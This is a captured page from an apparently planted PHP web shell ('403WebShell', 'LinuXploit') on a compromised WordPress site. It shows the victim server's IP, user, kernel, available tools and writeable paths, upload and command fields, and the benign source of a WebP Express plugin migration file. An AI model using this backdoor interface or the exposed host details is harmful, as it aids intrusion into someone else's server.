Done ! 403WebShell
403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/webp-express/lib/migrate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/webp-express/lib/migrate/migrate12.php
<?php

namespace WebPExpress;

use \WebPExpress\Config;
use \WebPExpress\Messenger;
use \WebPExpress\Option;

function webpexpress_migrate12() {

    $config = Config::loadConfigAndFix(false);  // false, because we do not need to test if quality detection is working

/*
    if (($config['destination-extension'] == 'set') && ($config['destination-folder'] == 'mingled')) {
        DismissableMessages::addDismissableMessage('0.15.1/problems-with-mingled-set');

        Messenger::addMessage(
            'error',
            'WebP Express is experiencing technical problems with your particular setup. ' .
                'Please <a href="' . Paths::getSettingsUrl() . '">go to the settings page</a> to fix.'
        );

    }*/

    $forceHtaccessRegeneration = true;
    $result = Config::saveConfigurationAndHTAccess($config, $forceHtaccessRegeneration);

    if ($result['saved-both-config']) {
        Option::updateOption('webp-express-migration-version', '12');

    } else {
        Messenger::addMessage(
            'error',
            'Failed migrating webp express options to 0.15.1. Probably you need to grant write permissions in your wp-content folder.'
        );
    }

}

webpexpress_migrate12();

Youez - 2016 - github.com/yon3zu
LinuXploit